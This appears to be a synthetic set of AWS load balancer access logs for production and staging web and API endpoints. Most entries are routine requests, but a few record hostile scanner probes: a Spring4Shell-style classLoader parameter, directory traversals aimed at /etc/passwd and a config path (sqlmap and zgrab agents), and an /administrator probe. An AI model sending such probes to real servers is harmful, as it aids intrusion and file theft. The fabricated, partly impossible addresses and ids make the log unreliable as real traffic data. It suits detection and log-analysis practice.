arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c88f-b689f736b4da49e6b9f4dd0f" "prod-web-alb.example.com" "-" 0 2024-11-01T01:12:31.373957Z "forward" "-" "-" "10.0.167.198:443" "302" "-" "-" -https 2024-11-01T01:12:32.042472Z prod-api-alb 165.156.5.205:20805 10.0.3.128:443 0.027782 0.482831 0.086472 200 200 920 5890 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c890-61136da2790d40d39ba31be4" "prod-api-alb.example.com" "-" 4 2024-11-01T01:12:32.042472Z "forward" "-" "-" "10.0.3.128:443" "200" "-" "-" -https 2024-11-01T01:12:33.058806Z prod-api-alb 20.202.193.89:18158 10.0.228.201:443 0.045706 0.297386 0.070815 404 404 423 6988 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c891-6371eebaf9444061a50e95cc" "prod-api-alb.example.com" "-" 0 2024-11-01T01:12:33.058806Z "forward" "-" "-" "10.0.228.201:443" "404" "-" "-" -http 2024-11-01T01:12:34.242897Z staging-alb 184.8.61.137:11560 205.39.94.113:8080 0.017390 0.472972 0.124201 200 200 622 385 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c892-51cbf0b2fe0b4b7a8123a0ad" "staging-alb.example.com" "-" 9 2024-11-01T01:12:34.242897Z "forward" "-" "-" "205.39.94.113:8080" "200" "-" "-" -https 2024-11-01T01:12:36.026097Z prod-api-alb 34.84.141.118:26084 10.0.240.197:443 0.032801 0.366233 0.025116 200 200 838 3052 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c894-cbe59118ab124fe59f424681" "prod-api-alb.example.com" "-" 3 2024-11-01T01:12:36.026097Z "forward" "-" "-" "10.0.240.197:443" "200" "-" "-" -http 2024-11-01T01:12:37.228393Z staging-alb 76.2.164.238:29980 26.136.135.160:443 0.072015 0.374388 0.026803 200 200 199 12617 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c895-7c2a9bddb7114b38b51121ef" "staging-alb.example.com" "-" 1 2024-11-01T01:12:37.228393Z "forward" "-" "-" "26.136.135.160:443" "200" "-" "-" -https 2024-11-01T01:12:38.517551Z staging-alb 199.108.108.19:17006 71.127.114.65:80 0.017742 0.661087 0.095572 301 301 71 12463 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c896-7ea77133357b4098b09b5f8d" "staging-alb.example.com" "-" 0 2024-11-01T01:12:38.517551Z "forward" "-" "-" "71.127.114.65:80" "301" "-" "-" -https 2024-11-01T01:12:38.994716Z prod-web-alb 202.46.130.20:26908 10.0.216.242:443 0.011548 0.295377 0.008393 301 301 880 7731 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c896-9484ef860350493aace22e04" "prod-web-alb.example.com" "-" 0 2024-11-01T01:12:38.994716Z "forward" "-" "-" "10.0.216.242:443" "301" "-" "-" -https 2024-11-01T01:12:39.991269Z prod-web-alb 67.155.5.195:26655 10.0.170.47:443 0.005723 0.211677 0.000004 200 200 576 4343 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c897-20bf310f58bc42f29d352b34" "prod-web-alb.example.com" "-" 5 2024-11-01T01:12:39.991269Z "forward" "-" "-" "10.0.170.47:443" "200" "-" "-" -http 2024-11-01T01:12:40.584293Z staging-alb 173.59.254.227:60665 180.246.61.25:443 0.024060 0.013682 0.129097 200 200 34 10786 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c898-79a8dc50fecc4d828e4ed94a" "staging-alb.example.com" "-" 7 2024-11-01T01:12:40.584293Z "forward" "-" "-" "180.246.61.25:443" "200" "-" "-" -https 2024-11-01T01:12:41.934719Z prod-api-alb 84.80.220.147:34270 10.0.140.130:443 0.069906 0.293160 0.018545 301 301 801 910 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c899-8138ee054d7241289bd542bf" "-" "-" 10 2024-11-01T01:12:41.934719Z "forward" "-" "-" "10.0.140.130:443" "301" "-" "-" -https 2024-11-01T01:12:43.778140Z prod-api-alb 55.102.237.128:62132 10.0.45.224:443 0.085207 0.466994 0.040421 200 200 544 14465 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c89b-58eb8edb9017437798abaa10" "prod-api-alb.example.com" "-" 7 2024-11-01T01:12:43.778140Z "forward" "-" "-" "10.0.45.224:443" "200" "-" "-" -https 2024-11-01T01:12:44.749104Z prod-web-alb 255.189.65.24:24411 10.0.37.158:443 0.061184 0.253737 0.002780 200 200 668 712 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c89c-06e5e57db8824e08b6bc638f" "prod-web-alb.example.com" "-" 4 2024-11-01T01:12:44.749104Z "forward" "-" "-" "10.0.37.158:443" "200" "-" "-" -https 2024-11-01T01:12:45.851613Z prod-api-alb 201.76.187.26:57901 10.0.126.112:443 0.001081 0.239236 0.021592 200 200 980 10795 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c89d-d94cc64e15bd400a9d40f81b" "prod-api-alb.example.com" "-" 0 2024-11-01T01:12:45.851613Z "forward" "-" "-" "10.0.126.112:443" "200" "-" "-" -https 2024-11-01T01:12:46.791798Z staging-alb 129.24.8.39:36990 193.220.186.243:80 0.107368 0.193902 0.119014 200 200 985 4281 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c89e-521e94a28bf34a39a2efec6c" "staging-alb.example.com" "-" 6 2024-11-01T01:12:46.791798Z "forward" "-" "-" "193.220.186.243:80" "200" "-" "-" -https 2024-11-01T01:12:47.237398Z staging-alb 184.241.197.225:45935 26.133.9.5:80 0.085166 0.152154 0.091100 200 200 685 10202 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c89f-ce41d8fae03a47f8ba06bbd7" "staging-alb.example.com" "-" 0 2024-11-01T01:12:47.237398Z "forward" "-" "-" "26.133.9.5:80" "200" "-" "-" -https 2024-11-01T01:12:48.943545Z prod-api-alb 138.199.74.175:20229 10.0.54.10:443 0.034102 0.427081 0.025527 200 200 151 3712 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c8a0-3da868fa4b6f4eaf89bfd18e" "prod-api-alb.example.com" "-" 7 2024-11-01T01:12:48.943545Z "forward" "-" "-" "10.0.54.10:443" "200" "-" "-" -https 2024-11-01T01:12:50.915175Z staging-alb 127.158.193.149:14680 245.195.100.136:443 0.044858 0.069979 0.123361 301 301 896 6568 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8a2-17c2b75732b449e583314d88" "staging-alb.example.com" "-" 7 2024-11-01T01:12:50.915175Z "forward" "-" "-" "245.195.100.136:443" "301" "-" "-" -http 2024-11-01T01:12:51.481304Z staging-alb 90.128.144.79:31126 228.166.8.156:80 0.022936 0.093235 0.094573 200 200 238 10927 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8a3-72e401db8e84448990c7bc6f" "staging-alb.example.com" "-" 2 2024-11-01T01:12:51.481304Z "forward" "-" "-" "228.166.8.156:80" "200" "-" "-" -https 2024-11-01T01:12:51.823138Z prod-web-alb 109.247.18.60:20952 10.0.145.211:443 0.097479 0.086267 0.012684 302 302 877 8925 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8a3-bee8f53d6fd54ca1b956f69d" "prod-web-alb.example.com" "-" 4 2024-11-01T01:12:51.823138Z "forward" "-" "-" "10.0.145.211:443" "302" "-" "-" -https 2024-11-01T01:12:53.734562Z staging-alb 244.85.61.132:40296 74.199.162.173:80 0.086520 0.208220 0.106953 301 301 267 5211 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8a5-83e0a4b8eac4410989be416e" "staging-alb.example.com" "-" 0 2024-11-01T01:12:53.734562Z "forward" "-" "-" "74.199.162.173:80" "301" "-" "-" -http 2024-11-01T01:12:55.000509Z staging-alb 120.92.85.243:40825 67.105.90.216:8080 0.066777 0.639495 0.045331 200 200 460 2964 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8a7-2e8b851155e443c3b44d478a" "staging-alb.example.com" "-" 3 2024-11-01T01:12:55.000509Z "forward" "-" "-" "67.105.90.216:8080" "200" "-" "-" -https 2024-11-01T01:12:56.024360Z prod-api-alb 78.180.53.111:15403 10.0.57.56:443 0.009715 0.076816 0.076054 301 301 852 1048 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8a8-ac89765e543749edba46b523" "prod-api-alb.example.com" "-" 9 2024-11-01T01:12:56.024360Z "forward" "-" "-" "10.0.57.56:443" "301" "-" "-" -https 2024-11-01T01:12:57.652521Z staging-alb 224.96.179.114:12828 90.199.38.237:443 0.126009 0.386611 0.004604 200 200 208 5547 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8a9-a424834d23f7426cac97bf15" "staging-alb.example.com" "-" 10 2024-11-01T01:12:57.652521Z "forward" "-" "-" "90.199.38.237:443" "200" "-" "-" -https 2024-11-01T01:12:58.327861Z prod-api-alb 11.111.73.107:20681 10.0.205.188:443 0.047432 0.013945 0.091188 200 200 603 11036 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8aa-e55ff9172f1544b1ab2ac268" "prod-api-alb.example.com" "-" 9 2024-11-01T01:12:58.327861Z "forward" "-" "-" "10.0.205.188:443" "200" "-" "-" -https 2024-11-01T01:13:00.234146Z staging-alb 37.50.124.56:32386 126.236.208.114:443 0.079473 0.370205 0.121544 200 200 549 342 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8ac-309f1d77b68c4796bebac959" "staging-alb.example.com" "-" 1 2024-11-01T01:13:00.234146Z "forward" "-" "-" "126.236.208.114:443" "200" "-" "-" -https 2024-11-01T01:13:00.869234Z prod-api-alb 124.89.113.20:49520 10.0.128.233:443 0.000668 0.426920 0.040580 200 200 702 4659 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8ac-70b1033b1baf4670bd21fb19" "prod-api-alb.example.com" "-" 9 2024-11-01T01:13:00.869234Z "forward" "-" "-" "10.0.128.233:443" "200" "-" "-" -http 2024-11-01T01:13:01.820373Z staging-alb 200.89.165.218:34024 104.89.119.233:443 0.137596 0.163506 0.040710 200 200 261 10268 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8ad-e151a9291710434a94983932" "staging-alb.example.com" "-" 7 2024-11-01T01:13:01.820373Z "forward" "-" "-" "104.89.119.233:443" "200" "-" "-" -https 2024-11-01T01:13:02.769858Z prod-api-alb 185.181.125.99:38123 10.0.224.233:443 0.078785 0.273917 0.000137 404 404 484 230 "POST /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8ae-82d27409e6844c72b2294943" "-" "-" 5 2024-11-01T01:13:02.769858Z "forward" "-" "-" "10.0.224.233:443" "404" "-" "-" -https 2024-11-01T01:13:04.632820Z prod-api-alb 185.93.162.36:45901 10.0.176.89:443 0.065555 0.226078 0.057497 404 404 918 9269 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8b0-a1fff9e81a964e12b81eb779" "prod-api-alb.example.com" "-" 0 2024-11-01T01:13:04.632820Z "forward" "-" "-" "10.0.176.89:443" "404" "-" "-" -https 2024-11-01T01:13:04.959002Z prod-web-alb 225.96.28.78:13244 10.0.57.97:443 0.007773 0.448877 0.098133 200 200 590 8934 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8b0-cf6e8d326e084ce389818e37" "prod-web-alb.example.com" "-" 5 2024-11-01T01:13:04.959002Z "forward" "-" "-" "10.0.57.97:443" "200" "-" "-" -https 2024-11-01T01:13:06.032285Z prod-web-alb 160.131.71.218:59624 10.0.58.36:443 0.009434 0.176146 0.099809 302 302 498 8590 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8b2-03e75f5f87c4476fb6f02e3e" "prod-web-alb.example.com" "-" 8 2024-11-01T01:13:06.032285Z "forward" "-" "-" "10.0.58.36:443" "302" "-" "-" -https 2024-11-01T01:13:07.731132Z prod-api-alb 243.222.75.216:25574 10.0.95.140:443 0.005776 0.318061 0.056851 200 200 407 5252 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8b3-ca3426d7885e4a46bd302e69" "prod-api-alb.example.com" "-" 3 2024-11-01T01:13:07.731132Z "forward" "-" "-" "10.0.95.140:443" "200" "-" "-" -https 2024-11-01T01:13:08.578003Z prod-web-alb 144.37.94.239:25544 10.0.67.56:443 0.064110 0.491282 0.064129 200 200 64 8066 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8b4-a9498478808c45fa8e23050f" "prod-web-alb.example.com" "-" 1 2024-11-01T01:13:08.578003Z "forward" "-" "-" "10.0.67.56:443" "200" "-" "-" -https 2024-11-01T01:13:08.835614Z staging-alb 146.18.170.54:36825 58.205.38.15:80 0.058652 0.675504 0.131722 200 200 761 7369 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8b4-3b6dbea4c2a7479283f08892" "staging-alb.example.com" "-" 8 2024-11-01T01:13:08.835614Z "forward" "-" "-" "58.205.38.15:80" "200" "-" "-" -https 2024-11-01T01:13:10.316185Z prod-web-alb 235.93.245.151:44614 10.0.232.102:443 0.051159 0.355260 0.055679 200 200 261 7686 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8b6-6e6b1b3eb66b48d3871afeb8" "prod-web-alb.example.com" "-" 10 2024-11-01T01:13:10.316185Z "forward" "-" "-" "10.0.232.102:443" "200" "-" "-" -http 2024-11-01T01:13:12.281484Z staging-alb 185.181.160.192:59245 191.191.229.22:8080 0.079346 0.467473 0.003535 403 403 971 14788 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8b8-fa4f600dc1724845a707a009" "-" "-" 1 2024-11-01T01:13:12.281484Z "forward" "-" "-" "191.191.229.22:8080" "403" "-" "-" -https 2024-11-01T01:13:13.480772Z prod-api-alb 192.24.140.24:11056 10.0.146.95:443 0.060891 0.274251 0.092446 404 404 456 9284 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8b9-0818f4cda2fb4255b64c2066" "-" "-" 5 2024-11-01T01:13:13.480772Z "forward" "-" "-" "10.0.146.95:443" "404" "-" "-" -https 2024-11-01T01:13:14.696385Z prod-api-alb 254.114.109.38:56057 10.0.61.81:443 0.084844 0.240281 0.014318 200 200 490 7644 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8ba-cd12d923df5a465b9a25f460" "prod-api-alb.example.com" "-" 8 2024-11-01T01:13:14.696385Z "forward" "-" "-" "10.0.61.81:443" "200" "-" "-" -http 2024-11-01T01:13:16.472382Z staging-alb 11.109.16.211:25903 56.243.48.155:8080 0.052909 0.533684 0.058766 404 404 818 7463 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8bc-df3d8e2e551348a08c736a64" "staging-alb.example.com" "-" 10 2024-11-01T01:13:16.472382Z "forward" "-" "-" "56.243.48.155:8080" "404" "-" "-" -https 2024-11-01T01:13:17.976898Z prod-api-alb 44.242.209.50:59420 10.0.5.154:443 0.048954 0.444290 0.004510 200 200 458 6388 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c8bd-b2d09a3f2f034d67b6d3b8bc" "prod-api-alb.example.com" "-" 2 2024-11-01T01:13:17.976898Z "forward" "-" "-" "10.0.5.154:443" "200" "-" "-" -https 2024-11-01T01:13:18.848350Z prod-api-alb 93.249.116.195:24462 10.0.158.116:443 0.098454 0.097902 0.011562 200 200 202 13656 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8be-7ca0911e429c43fd9e72b4ad" "prod-api-alb.example.com" "-" 4 2024-11-01T01:13:18.848350Z "forward" "-" "-" "10.0.158.116:443" "200" "-" "-" -http 2024-11-01T01:13:19.590501Z staging-alb 193.27.228.197:30860 221.220.96.198:8080 0.145605 0.663147 0.050652 401 401 322 10609 "GET /administrator HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8bf-d9e514c4b43b45fe84123db1" "-" "-" 8 2024-11-01T01:13:19.590501Z "forward" "-" "-" "221.220.96.198:8080" "401" "-" "-" -http 2024-11-01T01:13:20.337278Z staging-alb 122.41.248.210:26930 205.178.135.251:80 0.130016 0.055625 0.027275 200 200 629 7622 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8c0-dba997e2f74040e0b59aba8b" "staging-alb.example.com" "-" 7 2024-11-01T01:13:20.337278Z "forward" "-" "-" "205.178.135.251:80" "200" "-" "-" -https 2024-11-01T01:13:20.458557Z staging-alb 234.16.225.241:27987 144.253.54.168:80 0.060356 0.677462 0.066299 302 302 0 1928 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8c0-437dbeb3b88d4c31b5295499" "staging-alb.example.com" "-" 7 2024-11-01T01:13:20.458557Z "forward" "-" "-" "144.253.54.168:80" "302" "-" "-" -https 2024-11-01T01:13:20.937029Z staging-alb 162.31.174.179:41148 107.73.203.179:443 0.135382 0.491586 0.103501 200 200 637 6898 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8c0-c13092b70fb7456cb9733fda" "staging-alb.example.com" "-" 8 2024-11-01T01:13:20.937029Z "forward" "-" "-" "107.73.203.179:443" "200" "-" "-" -https 2024-11-01T01:13:22.260428Z prod-api-alb 193.27.228.174:56207 10.0.120.16:443 0.005940 0.096416 0.078934 404 404 136 13932 "GET /api/../../../config HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c8c2-46e8f90ab82f4ac0888bc28a" "-" "-" 5 2024-11-01T01:13:22.260428Z "forward" "-" "-" "10.0.120.16:443" "404" "-" "-" -https 2024-11-01T01:13:24.145776Z prod-web-alb 35.88.52.38:19140 10.0.181.14:443 0.088526 0.147001 0.008528 302 302 522 894 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8c4-a5ef0e1dc76249249d18156a" "prod-web-alb.example.com" "-" 9 2024-11-01T01:13:24.145776Z "forward" "-" "-" "10.0.181.14:443" "302" "-" "-" -https 2024-11-01T01:13:25.277247Z staging-alb 7.147.78.79:58760 2.14.220.24:443 0.037480 0.328934 0.040997 301 301 580 4417 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8c5-c44f72ba60e24dc1a214f04d" "staging-alb.example.com" "-" 1 2024-11-01T01:13:25.277247Z "forward" "-" "-" "2.14.220.24:443" "301" "-" "-" -https 2024-11-01T01:13:26.478790Z prod-api-alb 127.203.101.81:41420 10.0.148.44:443 0.034861 0.157010 0.056283 301 301 878 12171 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) 